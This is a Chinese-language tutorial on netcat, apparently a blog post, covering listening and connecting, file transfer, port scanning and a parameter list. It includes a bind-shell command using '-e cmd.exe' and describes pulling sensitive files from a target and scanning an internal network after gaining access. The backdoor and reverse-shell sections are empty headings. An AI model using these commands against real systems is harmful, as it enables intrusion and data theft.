一.概述
netcat是一款基於tcp/ip協議(c/s模型的)的工具。
netcat的功能包括:
- 數據傳輸
- 文件傳輸
- 建立後門
- 端口轉發
- 內外網突破
二.基礎使用方法
創建一個服務器端:
nc -l -p [local_port]
nc -l -p 2222
//-l 表示啓動監聽模式,-p監聽端口號
創建一個客戶端:
nc [remote_addr] [remote_port]
nc 192.168.127.128 2222
演示:
注意:需要先創建服務器端,才能使用客戶端,否則會自動斷開。
三.命令執行
實現一個返回shell的通信,並能對機器ff
nc -l -p [local_port] -e cmd.exe
//-e表示
nc [remote_addr] [remote_port]
四.文件傳輸
使用場景:
- 取證:當目標機器被黑客攻擊之後,取證人員可以利用nc的傳輸功能獲取目標機器上的內容,避免直接在目標機器上進行操作造成取證的誤差。
- 單純獲取目標機器敏感文件:當目標機器上有一些文件內容,無法正常下載時,可以利用nc進行文件傳輸。
nc中的數據傳輸使用的是標準的輸入,輸出流,所以可以直接利用nc來進行文件傳輸
//創建一個服務器,接受文件
nc -l -p [local_port] > outfile
//創建一個客戶端(連接服務端),傳入文件
nc [remote_addr] [remote_port] < infile
//設置等待時間,超過3秒,客戶端直接關閉等待連接
nc -w3 [ip] [port]
五.端口掃描
使用場景:
- 目標內網的掃描:當獲得目標權限之後,如果目標沒有任何途徑可以對內網進行探測,但此時剛好具有一個netcat的話,就可以使用netcat進行內網ip和端口的掃描。
- 單純對單個目標進行端口探測:當手頭沒有任何探測工具,可以使用netcat進行端口探測。
- 對目標服務的banner進行抓取:通過netcat對目標端口進行探測。
bannner信息抓取:
六.建立後門
windows建立後門:
linux建立後門:
七.命令參數
-d 脫離命令窗口,在後臺運行,常用於後門建立過程
-e 執行某個程序,常用於後門建立過程
-G gateway 設置網關,常用於突破內網限制
-g num 路由跳數
-i sec 設置發送每一行數據的時間間隔
-l 設置netcat處於監聽狀態等待連接
-L 設置netcat處於監聽狀態等待連接,當客戶端斷開,服務端依舊回到等待狀態
-n 設置netcat只識別ip地址,不進行dns解析
-o file 設置傳輸十六進制數據
-p port 設置本地監聽端口號
-r 設置netcat隨機化端口號
-s addr 設置netcat源地址
-t 回覆telnet的請求包
-u 設置netcat使用udp模式
-v 顯示錯誤提示信息
-w sec 設置連接超時時間
-z 設置掃描模式,表示發送的數據包中不包含任何payload
八.連接轉發
九.反彈shell
參考:https://blog.csdn.net/qq_38278799/article/details/104422050